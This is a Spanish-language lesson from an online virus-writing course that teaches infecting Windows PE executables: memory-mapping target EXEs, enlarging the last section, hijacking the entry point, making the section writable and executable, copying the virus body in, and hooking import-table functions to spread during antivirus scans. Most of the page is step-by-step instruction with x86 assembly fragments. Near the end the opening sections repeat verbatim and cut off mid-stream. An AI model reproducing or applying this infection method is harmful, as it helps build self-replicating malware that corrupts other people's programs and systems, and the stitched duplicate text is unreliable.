Curso de programación de virus - Infección bajo Windows II
14 - Infección bajo Windows II
[editar]
Curso gratis creado por Wintermute.
22 de Febrero de 2006
< anterior
| 1
... 12
13
14 15
16
17
18
| siguiente >
Infección de ficheros PE
Introducción
Hasta ahora ya hemos obtenido la forma de resituar los accesos a datos mediante el Delta Offset, llamar a la API de Windows y finalmente buscar ficheros; ¿y ahora qué? Bueno, pues ahora es el momento en el que nuestro bichito se ha encontrado con un fichero EXE (porque la máscara para buscar ficheros es *.EXE), y tiene unas ganas muy terribles de infectarlo.
Ayudémosle:
Formas de acceder a ficheros
Existen habitualmente dos formas distintas de acceder a ficheros; una, la clásica, en realidad es bastante engorrosa y deberíamos olvidarnos de ella cuanto antes, porque supone un gasto absurdo de tiempo y espacio. La otra, ficheros mapeados en memoria, es la que vamos a utilizar.
Mediante la clásica, accedíamos a ficheros mediante un puntero que se desplazaba al leer/escribir o por llamadas a la API. Así, al escribir o leer del fichero pues leía o escribía justo donde marcaba el puntero, y este avanzaba. En sistemas operativos antiguos como Ms-Dos esta era la única forma de hacerlo, y de hecho los de Windows lo mostraron como un gran avance en Win32 (aunque los sistemas tipo Unix llevaban haciéndolo eones, pero así son los caminos del marketing).
El caso es que el sistema bueno para manejar ficheros, que usaremos tanto en Win32 como en Linux, es lo que se conoce como "ficheros mapeados/proyectados en memoria", muchas veces en Windows simplemente se dice MMF, Memory Mapped Files.
La base de este sistema está en el sistema de paginación que describí allá por los principios del curso de virus; en lugar de ir cargando y escribiendo porciones del fichero, lo que se hace al abrir un fichero por mapeado en memoria es hacer que unas cuantas páginas del proceso (dependiendo del tamaño del fichero abierto) se asignen a las posiciones de disco que contienen el fichero. Para entender esto supongamos un fichero de 11Kb y que el tamaño de páginas es de 4Kb. Así, se haría que la primera página apuntase a los 4 primeros Kbytes del fichero, la segunda a los 4 segundos y la tercera a los 3 que faltan. Pero estas páginas no contienen los datos en sí del fichero, sería absurdo cargarlo todo diréctamente puesto que hay partes del fichero a las que vamos a acceder y partes a las que no.
Entonces, cuando accedamos a una parte de fichero en lectura por primera vez accediendo a las posiciones de memoria de las páginas, el SO va a generar un error de fallo de página puesto que se intenta acceder a un trozo de memoria que no está ahí sino que reside en el disco duro (como sucede cuando una página ha sido desalojada de memoria principal para meterse en el disco duro, con el sistema de memoria virtual). El caso es que al surgir esta excepción de fallo de página el SO va a traer a memoria esa página con lo que se realizará la lectura; pero sólo de la parte a la que hemos accedido.
Las ventajas son evidentes; no tenemos que estar pendientes de llevar un puntero de acceso al fichero manejado por la API sino que simplemente accedemos a memoria y escribimos en ella para hacerlo sobre el fichero. Cuando cerramos el fichero, los cambios que hemos hecho en las páginas correspondientes al fichero se actualizan en el disco duro.
Pasando ahora un poco a la práctica, vamos a necesitar tres funciones para realizar la apertura de ficheros en Windows mediante Memory Mapped Files:
HANDLE CreateFile(
LPCTSTR lpFileName, address of name of the file DWORD dwDesiredAccess, access (read-write) mode DWORD dwShareMode, share mode LPSECURITY_ATTRIBUTES lpSecurityAttributes, address of security descriptor DWORD dwCreationDistribution, how to create DWORD dwFlagsAndAttributes, file attributes HANDLE hTemplateFile handle of file with attributes to copy
);
Esta es la ayuda que nos presenta el Win32.HLP. De aquí podemos ver que lpFileName es un puntero al nombre del fichero (que sacaremos de la estructura WIN32_FIND_DATA de antes, cuando buscamos ficheros), en DesiredAccess tendremos opciones de lectura y escritura (GENERIC_READ y GENERIC_WRITE), dwShareMode trata sobre la compartición del fichero abierto, lpSecurityAttributes (que no necesariamente es soportado, atributos de seguridad del fichero), dwCreationDistribution que trata sobre la forma de acceder (¿si no existe lo creamos? ¿si existe sobreescribimos? ¿sólo lo abrimos? etc), y otros dos sobre opciones de acceso que tampoco trataremos en detalle; tampoco hace falta darle demasiadas vueltas, con una fórmula sencilla estará solucionado y no hay que tenerlo todo en cuenta:
push 0 push 0 push 3 push 0 push 1 push 0C0000000h ; Read/Write access lea eax, [Find_Win32_Data+WFD_szFileName+ebp] push eax call dword ptr [API_Create+ebp] ; Delta offset en ebp
Ah por cierto fijáos que la forma de empujar los parámetros es en el órden inverso al descrito en las funciones de win32.hlp, que luego nos rallamos por la tontería cuando el fallo era ese xD. Bueno, a lo que iba; dwFlagsAndAttributes y hTemplateFile no nos importan :) y empujamos un cero a la pila. El 3 que empujamos con dwCreationDistribution indica OPEN_EXISTING, es decir, abrir y punto sólo si existe el fichero. El siguiente cero que empujamos es porque no necesariamente tiene estructura de atributos de seguridad (esto se aplica en NT por ejemplo, pero no en un 95/98 donde no existen estos sistemas de seguridad). El 0C0000000h se refiere al acceso deseado (lectura/escritura) y finalmente el W32_Data+WFD_szFileName indica el offset respecto a la estructura Win32_Find_Data donde se encuentra el nombre obtenido mediante FindFirst/FindNext.
El caso es que esta llamada a función nos devolverá un "handler" en EAX. Este handler es un valor que más nos vale conservar, pues se va a utilizar como referencia para manejar el fichero en posteriores ocasiones; la cosa es sencilla, en los datos internos del proceso que se está ejecutando (en este caso un fichero infectado con nuestro virus) hay una serie de "handlers" o descriptores que se relacionan con ficheros abiertos (aparte de, de forma standard, con el input, output, etc, pero esto ya es otra historia). Esta, es la forma en que se manejan los ficheros; el descriptor o handler que tenemos en EAX es la referencia para poder seguir operando con el fichero abierto.
Lo mejor entonces es guardar eax en algún registro donde lo tengamos controlado y no lo perdamos en toda la infección, pues lo tendremos que utilizar luego para cerrar el fichero abierto y guardar los cambios.
mov ebx,eax inc eax jnz No_Hay_Problema
Esto sería la comprobación justo posterior a la apertura de fichero; salvamos EAX en EBX, y comprobamos con el Inc EAX si es igual a 0FFFFFFFFh (o -1, que incrementandolo dara cero). Si lo es, dejamos de infectar porque hubo algún problema al abrir el fichero (nunca está de más la comprobación de errores).
La siguiente función que vamos a tener que usar para nuestro cometido es la de CreateFileMapping, cuya estructura es como sigue:
HANDLE CreateFileMapping(
HANDLE hFile, handle of file to map LPSECURITY_ATTRIBUTES lpFileMappingAttributes, optional security attributes DWORD flProtect, protection for mapping object DWORD dwMaximumSizeHigh, high-order 32 bits of object size DWORD dwMaximumSizeLow, low-order 32 bits of object size LPCTSTR lpName name of file-mapping object
);
Ya vemos que uno de los parámetros, HANDLE hFile, es el handler que nos pasaron antes en EAX; como dije vamos a necesitarlo bastante para seguir tratando con el fichero. Tenemos de nuevo atributos de seguridad y protección, el nombre del objeto mapeado (se puede poner como 0), y otro campo importante que es el del tamaño de fichero; ¿por qué importante? Pues bien, porque esto va a determinar el tamaño del fichero cuando lo cerremos. Si determinamos un tamaño del objeto de 20k y era un fichero de 11k, se van a mapear 20k en memoria (los últimos 9 sin información coherente), y se va a salvar cuando cerremos. Como os podéis imaginar no hay nada como poner como tamaño del objeto justo el del fichero mas el de nuestro virus ;-)
mov edi,dword ptr [Find_Win32_Data+WFD_nFileSizeLow+ebp] add edi,virus_size ; Host plus our size push 0 push edi push 0 push PAGE_READWRITE ; R/W push 0 ; Opt_sec_attr push ebx ; Handle call dword ptr [API_CMap+ebp]
En el pequeño listado puede verse lo que hacemos; EDI tiene el tamaño del fichero, al que se le añade el del virus (el tamaño del virus está calculado con EQUs y tal); ponemos ceros para lpName, SizeHigh y OptSecAttr, y para la protección del fichero mapeado permiso de lectura/escritura (PAGE_READWRITE).
Finalmente empujamos el handler y llamamos a la función; en esta ocasión si la función falla Windows no nos va a devolver EAX=-1 sino EAX=0 lo que se puede comprobar con un or eax, eax. Supongo que para hacernos la vida más variada xD. La cuestión es que, si no falla (que no debería, ¿no?) nos devolverá en EAX un nuevo handler del que también habrá que estar pendientes.
Y en fin, nos acercamos al momento decisivo ;-). Sólo nos falta utilizar la tercera función, ya que hemos abierto el fichero, lo hemos de nuevo abierto mediante mapeado en memoria, y ahora haremos el mapeado efectivo... para ello, la función MapViewOfFile; y pasamos diréctamente a dar su especificación:
LPVOID MapViewOfFile(
HANDLE hFileMappingObject, file-mapping object to map into address space DWORD dwDesiredAccess, access mode DWORD dwFileOffsetHigh, high-order 32 bits of file offset DWORD dwFileOffsetLow, low-order 32 bits of file offset DWORD dwNumberOfBytesToMap number of bytes to map
);
Bueno esta ya tiene menos parámetros, ¿no? xD. El Handle que hay que enviarle es el que nos dio CreateFileMapping, el DesiredAccess es FILE_MAP_ALL_ACCESS, dwFileOffsetHigh y Low los pondremos a cero (es una indicación a mano que podemos hacer de que haga el mapeado en memoria en el lugar donde nos dé a nosotros la gana lo cual tampoco es necesario), y eso sí, en NumberOfBytesToMap meteremos el valor de EDI que habíamos puesto antes, es decir, el tamaño del fichero con nuestro virus.
push edi push 0 push 0 push FILE_MAP_ALL_ACCESS push eax ; handle call dword ptr [API_MapView+ebp]
Así que con esto ya está, tenemos ahora en EAX algo muy muy importante, que es la base address a partir de la cual acceder al fichero mapeado; es decir, que si el fichero se cargó en la dirección 0700000h, EAX va a contener justo esa cifra, el principio del fichero... con lo que ya vamos a tenerlo dispuesto para poder abrir e infectar a nuestro gusto.
Por último, advertir que esto que hemos abierto luego hay que cerrarlo. Para ello hay dos funciones, UnmapViewOfFile y CloseHandler. Sólo hay que pasarles un parámetro, que es la base donde se ha cargado el fichero en memoria (el EAX de antes, conservadlo), y en caso de CloseHandler, el handler que nos pasaron al abrir el fichero. El código para hacerlo es obvio porque sólo hay que empujar un valor y llamar a la API, aun así copio la especificación de las funciones:
BOOL UnmapViewOfFile(
LPVOID lpBaseAddress address where mapped view begins
);BOOL CloseHandle(
HANDLE hObject
);
Pues así de sencillo... por cierto, hay un detalle que quizá os está escamando; al empujar valores a la pila utilizo valores como FILE_MAP_ALL_ACCESS, que si GENERIC_READ, que si tal; sin embargo, si ponéis eso así, a pelo, el Tasm os va a dar errores de compilación diciéndoos que qué son esas palabras que habéis metido ahí y que no significan nada. Lo que necesitáis son ficheros de definición. Por ejemplo, el 0C0000000h en CreateFile lo metí a pelo; en realidad nosotros evidentemente no estamos empujando a la pila ninguna palabra que diga GENERIC_READ o lo que sea, sino que empujamos un número. Por suerte, se puede conseguir la conversión de esas palabras a números en muchos includes de ayuda por ahí desperdigados, puesto que cosas como escribir "GENERIC_READ" lo que pretenden es hacernos la vida más fáciles a los programadores en lugar de tener que recordar qué bits indican qué cosa en cada uno de los tipos de parámetros a API que puedas invocar.
En fin, así, qué remedio, tendréis que buscar algún include decente; al fin y al cabo esto es necesario pues en las referencias a funciones que encontréis en ayudas como el Win32.hlp no vais a ver el valor hexadecimal o de máscara de bits de lo que tenéis que empujar a la pila para hacer determinadas cosas con funciones, sino tan sólo estos nombres que han de ser traducidos. Tarde o temprano, pues, tendréis que usar algún "fichero include" de referencia para programar (hay por ejemplo una de Jacky Qwerty llamada Win32api.inc que salió en 29A#2 por ejemplo, y probablemente tendréis definiciones en compiladores como Visual Basic, etc etc etc)
Formato PE (Portable Ejecutable)
Ya no puedo dejarlo para más adelante, hay que echarle un vistazo bien a fondo al formato de los ejecutables de Windows, conocido como PE (Portable Ejecutable), ya que se trata de algo necesario si queremos infectarlos, ¿verdad?. Conseguimos averiguar la dirección de GetProcAddress en la export table aun sin explicar mucho como esta organizado un PE, pero esto ya se hace necesario a la hora de una infección seria. Sólo comentar, que para una información más amplia y detallada del formato PE nada como buscar el capítulo de Matt Pietrek de su libro "Windows 95 Programming Secrets", llamado "The Portable Executable and COFF OBJ Formats". Sé que hay alguna copia en la red así que es de esas cosas que es interesante que busquéis. En cualquier caso, intentaré documentar al menos lo necesario para poder infectar un fichero de Windows.
Lo primero, es decir que el fichero ejecutable en disco es bastante parecido al aspecto que tendrá en memoria; un fichero PE está dividido en piezas por así decirlo, con cierta información sobre cómo colocar esas piezas en memoria en su estructura en disco. En la cabecera PE se indicará la dirección en la que preferiría ser ubicado en memoria, así como, para cada sección, la dirección relativa (RVA) en la que deberían colocarse sus secciones respecto a esta dirección base. Las referencias a datos y demás, dependientes de la ubicación en memorias, serán recalculadas dinámicamente al cargar el fichero en memoria.
Así pues, el esquema básico de un PE es el siguiente:
Cabecera 'MZ' (Ms-Dos)
File Header (PE)
Optional Header
Tabla de secciones
Secciones
.edata, .idata, .data, .text, .reloc, etc
Código de debuggeo (opcional)
Vayamos por partes:
- Cabecera 'MZ'
Esta va a servir fundamentalmente para dos cosas; por un lado nos va a mostrar un mensaje de "no, esto no es Windows" cuando se intente ejecutar el fichero desde alguna versión antigua de Ms-Dos. Por otro, tendrá un interesante puntero en el desplazamiento 03ch hacia la cabecera PE. Por supuesto, además tiene la gran ventaja de que aunque para un programa en memoria no sirva para nada se carga en ella para ocupar más espacio, otro gran ejemplo de optimización en su casa gracias a Microsoft(tm).
- File Header
Esta ya es la cabecera PE en sí. Sus 4 primeros bytes van a ser las letras PE y dos bytes a cero. El resto de los campos son los siguientes:
Desplazamiento Tamaño y nombre Contenido
00h DWORD Cabecera Su contenido es PE/0/0
04h WORD Machine Tipo de máquina para la que se compiló; Intel I386 corresponde a 014Ch
06h WORD NumberOfSections Número de secciones contenidas en el
programa
08h DWORD TimeDateStamp Fecha y hora en la que el fichero fue producido en otro extraño formato xD
0Ch DWORD PointerToSymbolTable Sólo utilizado en ficheros OBJ y los ejecutables con opciones de debugging 10h DWORD NumberOfSymbols Relacionado con el anterior
14h WORD SizeOfOptionalHeader Tamaño de la cabecera opcional (que normalmente si va a estar presente, faltaría en caso de los ficheros OBJ)
16h WORD Characteristics Indica si es una DLL, un EXE o un OBJ
- Optional Header
La cabecera opcional también la vamos a tener muy en cuenta; la forma de acceder a ella es simple, ya que está justo después de la File Header. Exáctamente está en la posición 18h respecto a la cabecera PE; de hecho y a efectos de que vamos a utilizarla tanto como la File Header, consideraré como si el desplazamiento fuera respecto a la File Header en la siguiente tabla (en la que eso sí voy a omitir las partes que no me resultan importantes, puesto que se extiende hasta un desplazamiento 78h desde este 18h sin contar el array variable de Image_Data_Directory que lo alarga de forma variable)
Realmente, de aquí en principio habremos de tener pocas cosas en cuenta, aunque en particular será importante modificar como es evidente el AddressOfEntryPoint. La estructura DataDirectory contiene siempre RVA y tamaño de algunos trozos importantes del fichero como explica la tabla; en particular, resultará cómodo a la hora de buscar exportaciones e importaciones, pues son las dos primeras a las que siempre hace referencia; en 78h tendremos la RVA a .edata, en 7Ch su tamaño, en 80h la RVA a .idata y en 84h el tamaño de esta.
- Tabla de secciones
La tabla de secciones es un array de varias estructuras (un array de la misma longitud que el número de secciones). Así, va a haber una estructura fija para describir a cada sección, que se repetirá tantas veces como secciones haya (y de forma secuencial en el fichero).
Para acceder a esta tabla, lo que haremos será coger el principio de la cabecera PE, sumarle 18h (tamaño de la File Header), buscar el esta File Header el tamaño de la OptionalHeader y sumárselo también. Así, tendremos la dirección en la que comienza la tabla de secciones para poder leer.
De toda esta información haremos caso a los cuatro primeros datos y al último; si nuestra intención al infectar es meternos dentro de una sección (el método más standard, aunque se puede crear otra), tendremos que modificar el VirtualSize, calcular el nuevo SizeOfRawData y modificarlo, cambiar las Characteristics para poder hacerlo Writeable y Executable en caso de que no lo fueran, y acceder a la sección a través de la VirtualAddress. El alignment va a ser el genérico del fichero e indicado en la Optional Header (por defecto, 200h, el tamaño de un sector en disco).
- Secciones
Ya nada es tan sencillo como dividir las cosas en "código, datos y pila". Precedidas por un ".", que Microsoft indica como imprescindible pero que no lo es en la práctica, cada sección de un fichero PE va a cumplir una función determinada, y he aquí el significado de algunas de las secciones más comunes:
.text -> Este es el nombre habitual de la sección de código. Normalmente con flags de ejecución y permiso de lectura, pero no de escritura.
.idata -> Tabla de importaciones; se trata de una estructura que contiene las APIs importadas por el fichero PE así como las librerías de las cuales las importa.
.edata -> Tabla de exportaciones, más propia de ficheros DLL (librerías dinámicas API), con las APIs que el ejecutable exporta.
.bss -> Sección de datos sin inicializar; no ocupa espacio en el disco duro, pues hace referencia a espacio de memoria que ha de reservarse para datos que de por sí no vienen inicializados al comenzar el ejecutable, pero que sí van a ser utilizados por este.
.data -> Datos inicializados, aquellos que tienen valor cuando comienza la ejecución del programa y que por tanto ocupan espacio en disco.
.reloc -> Tabla de realocaciones. Se trata de un ajuste para instrucciones o referencias a variables, dado el hecho de que en ocasiones se ha de cargar el fichero en una dirección distinta de memoria, y las referencias a memoria han de ser reajustadas.
Teoría sobre infección de ficheros PE
Utilizaremos en esta explicación el "método 29A", consistente a grandes rasgos en la ampliación de la última sección del ejecutable y la copia del virus al final de esta sección, de modo que pertenezca a esta.
Lo primero que se suele hacer, tras abrir y mapear el fichero EXE, es comprobar si es adecuado para la infección; obtenido el inicio de la cabecera PE, lo básico que hay que ver es lo siguiente:
-¿La cabecera es efectivamente PE/0/0?
-¿Existe una optional header? Sino, nos despediremos
-¿El fichero es ejecutable?
Todo ello lo podemos resumir en el siguiente código:
mov bx,word ptr ds:[eax+03ch] ; Suponiendo EAX = base address add edx,ebx ; Cabecera PE mov bx,word ptr ds:[edx] ; Cogemos la cadena "PE" en BX cmp bx,'PE' jnz cerramos ; Si no lo es, cerramos or word ptr ds:[0014h+edx],0 ; ¿Existe la optional header? jz cerramos ; Si el valor es cero, adios mov ax,word ptr ds:[016h+edx] ; ¿El fichero es ejecutable? and ax,0002h jz unmap_close
Hecho esto, y dado que queremos meternos en la última sección, el siguiente paso será localizar esta última sección. Ojo, que aunque en la mayoría de los ficheros la última sección físicamente en el fichero es también el último registro en la tabla de secciones, esto no es necesariamente así. Para comprobar cuál es efectivamente la última, cogeremos la tabla de secciones e iteraremos buscando cuál es la que tiene una RVA mayor; así, estaremos muchísimo más seguros. Por tanto, sigamos con código:
mov esi,edx ; EDX en PE/0/0, obtenemos offset de la tabla de secciones add esi,18h mov bx,word ptr ds:[edx+14h] add esi,ebx movzx ecx,word ptr ds:[edx+06h] ; numero de secciones ; La cuestión es seguir recorriendo la tabla, comparando lo siguiente: cmp dword ptr [edi+14h],eax jz Not_Biggest
La sección que tenga ese campo en [sección+14h] más alto, será la que infectemos al ser la última. Entonces, ¿qué debemos hacer ahora para continuar la infección?. En primer lugar aumentaremos la VirtualSize de la sección según el tamaño de nuestro virus para dejarle espacio (pues nuestro objetivo es infectar aumentando el tamaño de la última sección y metiéndonos dentro). El problema, reside en que no sólo hemos de tener en cuenta la VirtualSize, sino también otro dato llamado SizeOfRawData, que ha de ser divisible por el "alignment"
¿Qué es el "alignment"? Pues es un número al que está redondeada la SizeOfRawData y que se puede encontrar en la cabecera del PE (normalmente es 200h, 512 en decimal, para alinear respecto a sector del disco). Así, si tuviéramos un nuevo "VirtualSize" de 5431h con nuestro virus, en SizeOfRawData el valor sería de 5600h. ¿Código? Sí, vayamos con código:
mov eax,virus_size xadd dword ptr ds:[esi+8h],eax ; la VirtualSize push eax ; VirtualSize antigua add eax,virus_size ; Eax vale la nueva VirtualSize mov ecx, dword ptr ds:[edx+03ch] xor edx,edx div ecx ; dividimos para ver el numero de bloques xor edx,edx inc eax mul ecx ; multiplicamos por el tamaño de bloque mov ecx,eax mov dword ptr ds:[esi+10h],ecx ; SizeOfRawData
Hecho esto, el siguiente paso va a ser cambiar el entry point del programa (el punto donde comienza a ejecutarse) de modo que apunte hacia nosotros. La idea, es que el virus se ejecute primero y, sin ser advertido, pase el control al programa principal. Así pues guardaremos el antiguo entry point (que está en el desplazamiento 28h respecto a la file header) y calcularemos el nuevo haciendo que apunte al final de la sección que vamos a infectar; es decir, el punto en el que vamos a copiar el virus completo.
pop ebx ; VirtualSize - virus_size (lo habiamos empujado en "VirtualSize antigua") add ebx,dword ptr ds:[esi+0ch] ; + la RVA de la sección mov eax,dword ptr ds:[edx+028h] ; Guardamos el viejo entry point mov dword ptr ds:[edx+028h],ebx ; Ponemos el nuevo
Lo siguiente que hay que tocar es el campo "characteristics" de la tabla. En él, nos interesa hacer que la sección pueda leerse, escribirse y ejecutarse para que nuestro virus tenga total libertad. Este campo es tipo "máscara de bits", 32 bits cada uno de los cuales tiene un determinado significado. Tres de ellos los vamos a poner a uno para tener estos permisos, con una orden como "or [edx+024h] , 0C0000000h". Los valores que puede tomar la sección Characteristics son los siguientes (que se combinan entre sí en una máscara de bits):
Flag Descripción
0x00000020h La sección contiene código (normalmente unido al flag de ejecución, 0x80000000h) 0x00000040h La sección contiene datos inicializados
0x00000080h Contiene datos sin inicializar
0x00000200h Contiene comentarios u otro tipo de información 0x00000800h Los contenidos de esta sección no deberían situarse en el EXE final (información para
el compilador) 0x02000000h La sección puede ser descartada, el proceso no la necesita al ejecutar 0x10000000h Sección que puede compartirse (para DLLs, por ejemplo) 0x20000000h La sección es ejecutable 0x40000000h Pueden leerse datos de esta sección
0x80000000h Pueden escribirse datos en esta sección.
Después de esta modificación en las Characteristics, ajustaremos también el tamaño de SizeOfImage, referente al fichero en su totalidad y que también ha de estar alineado al mismo estilo que el "alignment" (que como dije, está en [FileHeader+03ch]). Esta vez no necesitaremos dividir; si hemos guardado el SizeOfRawData antiguo y el nuevo (recordad, el que está alineado) de la sección, no hay más que restar ambos y ver cuanto resulta. Esto, se lo sumamos al SizeOfImage con una instrucción como "add [edx+050h], eax" si eax contiene esta diferencia entre SizeOfRawData(nuevo)-SizeOfRawData(antiguo).
¿Qué nos queda por hacer? Pues muy poco por suerte, tan sólo copiar nuestro virus en el hueco que hemos hecho al ampliar el tamaño de la última sección. Teniendo en EDI la base del fichero mapeado (para añadirle las RVAs):
add edi,dword ptr ds:[esi+14h] ;14h = PointerToRawData, inicio de la seccion add edi,dword ptr ds:[esi+8h] ;8h = VirtualSize, añadimos el tamaño de la seccion sub edi,virus_size ;Le restamos el tamaño del virus lea esi,[ebp+virus_start] ;ESI en el principio de nuestro virus mov ecx,virus_size ;ECX = Tamaño del virus rep movsb ;Copiamos todo el virus
Y no hace falta nada más para poder decir que hemos infectado un ejecutable de Windows. Haciendo una breve recapitulación de los pasos a dar podemos ver que, aunque puede sonar a que son muchas cosas, en realidad no se trata de algo tan complejo. Para infectar, pues, debemos:
-Buscar la última sección del fichero
-Aumentar su tamaño en N, tal que N = Tamaño del virus -Recalcular tamaño de la sección alineada y del fichero alineado
-Cambiar el entry point para que apunte al final de la sección
-Poner permisos de lectura/escritura/ejecución en la sección
-Copiar el virus en el hueco creado, su primer byte en el nuevo entry point.
Con esto acabamos entonces la infección de ficheros de formato Portable Ejecutable.
Residencia Per-Process
Residencia per-process
Hasta ahora hemos tenido la limitación consistente en que al infectar lo único que hacíamos era repasar el directorio actual con FindFirst/FindNext copiándonos a los ficheros ejecutables que encontráramos. Esto puede dejar al virus aislado e impedir una verdadera reproducción; una solución sería por ejemplo tras dar este repaso copiarnos a todos los ficheros del directorio Windows (existe una API que nos soluciona bastante trabajo llamada GetWindowsDirectory, que combinada con SetCurrentDirectory nos permitiría lanzarnos al núcleo).
No obstante, bajo Win32 se pueden utilizar técnicas que rompan esta limitación de zonas de infección; hablo de la residencia, aunque en este caso una residencia limitada dado que se reduce al proceso actual.
Quienes trabajaran con virus en Ms-Dos recordarán la forma en que hacíamos que un programa fuera residente en memoria; toqueteando los MCBs (Memory Control Blocks) nos hacíamos con un espacio en memoria e interceptábamos llamadas a funciones normalmente de la Int21h como "AbrirFichero", etc. Entonces, cuando se abría un fichero, el virus lo infectaba caso de ser infectable.
Pues bien, aquí existe una técnica muy parecida, que dado que se reduce al proceso en el que estamos trabajando, se conoce como "residencia per-process". Los ejecutables de Windows se dedican a importar funciones de distintas librerías, entre otras de la más importante, Kernel32.DLL. Dentro del código del ejecutable, se llama a estas funciones. Pero, ¿y si pudiéramos meternos en medio de estas llamadas, capturarlas y actuar en consecuencia?. Pues ahí reside el interés de esta técnica.
El fichero importa una serie de APIs, nosotros buscamos la que nos interesa (por ejemplo, FindFirst/FindNext) y la parcheamos. En la tabla de importaciones del fichero que está ejecutándose vamos a tener información acerca de las APIs importadas y las direcciones a las que se va a llamar cuando se utilicen estas APIs. Por tanto, lo que haremos será cambiar estas direcciones que nos interesan para que apunten a nuestro código. Luego, haremos normalmente la llamada a la API, pero al mismo tiempo procuraremos infectar aquello con lo que el fichero está jugando. ¡No hay más que imaginar el gran aliado que puede ser un antivirus que recorra todo el disco duro si le parcheamos las funciones de FindFirst/FindNext!
No daré código explícito para este tipo de técnica, pues es algo que resulta interesante que cada uno desarrolle utilizando los conocimientos que pueda adquirir sobre Windows; llevar a cabo estas rutinas, donde tendremos que tener en cuenta las importaciones y nuestro propio virus, asegura - creo yo - entender bastante más a fondo la forma que tiene Windows de manejar sus procesos.
Sólo aclararé, eso sí, el formato de la tabla de importaciones (aunque como dije, nada como los textos de Matt Pietrek). Primero, que la RVA a esta tabla puede encontrarse en el PEFileHeader + 080h por defecto (recordad que este tipo de residencia se hace respecto al fichero en el que el virus se está ejecutando, con lo que si el virus está ejecutándose en 040A013h quizá el principio del programa esté en 0400000h).
La tabla de importaciones es un array de estructuras de datos llamadas Image_Import_Descriptor, uno por cada DLL importada, y con un aspecto como el siguiente:
Desp Tamaño Nombre Descripción
00h DWORD Characteristics Puntero a una lista de HintNames
04h DWORD TimeDateStamp Fecha de construcción, normalmente a cero 08h DWORD ForwarderChain Para forwarding de funciones (escasamente documentado)
0Ch DWORD Nombre RVA a una cadena ASCII con el nombre de la DLL
10h DWORD FirstThunk Puntero a una lista de ImageThunkData
¿Y qué hago yo con esto? Tranquilidad, aún no está todo explicado... el array de HintNames y el de Image_Thunk_Data son dos tablas que van a hacer referencia a una lista de nombres de función, sólo que por lados diferentes. Pero el array del HintName no está necesariamente presente en los ficheros PE, con lo que el campo que nos va a importar es el que apunta a FirstThunk en ImageThunkData. El tamaño de cada entrada en esta lista es de un DWORD, y cuando estamos hablando de un fichero cargado en memoria (porque se esté ejecutando, ojo), cada entrada en ese array es la dirección de una API de la DLL correspondiente.
¿Qué debemos hacer entonces? Miramos adonde apunta ese desplazamiento 10h, y recorremos el ImageThunkData viendo las RVAs a las que apunta. ¿Cómo identificar desde aquí las APIs utilizadas? Siempre podemos obtenerlas con GetProcAddress y después mirar si coinciden las entradas en ImageThunkData (aunque como verá quien se lance a hacerlo, esto no es exáctamente así...). ¿Cómo parchear las funciones? Bien, la tabla de importaciones suele tener permiso de escritura activado, con lo que no hay más que hacer que apunte a nuestro código...
Un último apunte; esta es una de esas técnicas que, bien hecha, funcionan para cualquier versión de Windows... con lo que si queremos mantener la compatibilidad, es de las mejores opciones que tenemos. Con este objetivo, existen también algunas otras, desde jugar con el registro o infectar el fichero Kernel32.DLL a crear VxDs (por así decirlo DLLs que funcionan a nivel supervisor), en fin, un mundo por descubrir...
Y... vaya, con esto llega a su final la séptima entrega del curso de programación de virus; de aquí a la octava, infección bajo Linux.
Introducción
Hasta ahora ya hemos obtenido la forma de resituar los accesos a datos mediante el Delta Offset, llamar a la API de Windows y finalmente buscar ficheros; ¿y ahora qué? Bueno, pues ahora es el momento en el que nuestro bichito se ha encontrado con un fichero EXE (porque la máscara para buscar ficheros es *.EXE), y tiene unas ganas muy terribles de infectarlo.
Ayudémosle:
Formas de acceder a ficheros
Existen habitualmente dos formas distintas de acceder a ficheros; una, la clásica, en realidad es bastante engorrosa y deberíamos olvidarnos de ella cuanto antes, porque supone un gasto absurdo de tiempo y espacio. La otra, ficheros mapeados en memoria, es la que vamos a utilizar.
Mediante la clásica, accedíamos a ficheros mediante un puntero que se desplazaba al leer/escribir o por llamadas a la API. Así, al escribir o leer del fichero pues leía o escribía justo donde marcaba el puntero, y este avanzaba. En sistemas operativos antiguos como Ms-Dos esta era la única forma de hacerlo, y de hecho los de Windows lo mostraron como un gran avance en Win32 (aunque los sistemas tipo Unix llevaban haciéndolo eones, pero así son los caminos del marketing).
El caso es que el sistema bueno para manejar ficheros, que usaremos tanto en Win32 como en Linux, es lo que se conoce como "ficheros mapeados/proyectados en memoria", muchas veces en Windows simplemente se dice MMF, Memory Mapped Files.
La base de este sistema está en el sistema de paginación que describí allá por los principios del curso de virus; en lugar de ir cargando y escribiendo porciones del fichero, lo que se hace al abrir un fichero por mapeado en memoria es hacer que unas cuantas páginas del proceso (dependiendo del tamaño del fichero abierto) se asignen a las posiciones de disco que contienen el fichero. Para entender esto supongamos un fichero de 11Kb y que el tamaño de páginas es de 4Kb. Así, se haría que la primera página apuntase a los 4 primeros Kbytes del fichero, la segunda a los 4 segundos y la tercera a los 3 que faltan. Pero estas páginas no contienen los datos en sí del fichero, sería absurdo cargarlo todo diréctamente puesto que hay partes del fichero a las que vamos a acceder y partes a las que no.
Entonces, cuando accedamos a una parte de fichero en lectura por primera vez accediendo a las posiciones de memoria de las páginas, el SO va a generar un error de fallo de página puesto que se intenta acceder a un trozo de memoria que no está ahí sino que reside en el disco duro (como sucede cuando una página ha sido desalojada de memoria principal para meterse en el disco duro, con el sistema de memoria virtual). El caso es que al surgir esta excepción de fallo de página el SO va a traer a memoria esa página con lo que se realizará la lectura; pero sólo de la parte a la que hemos accedido.
Las ventajas son evidentes; no tenemos que estar pendientes de llevar un puntero de acceso al fichero manejado por la API sino que simplemente accedemos a memoria y escribimos en ella para hacerlo sobre el fichero. Cuando cerramos el fichero, los cambios que hemos hecho en las páginas correspondientes al fichero se actualizan en el disco duro.
Pasando ahora un poco a la práctica, vamos a necesitar tres funciones para realizar la apertura de ficheros en Windows mediante Memory Mapped Files:
HANDLE CreateFile(
LPCTSTR lpFileName, address of name of the file DWORD dwDesiredAccess, access (read-write) mode DWORD dwShareMode, share mode LPSECURITY_ATTRIBUTES lpSecurityAttributes, address of security descriptor DWORD dwCreationDistribution, how to create DWORD dwFlagsAndAttributes, file attributes HANDLE hTemplateFile handle of file with attributes to copy
);
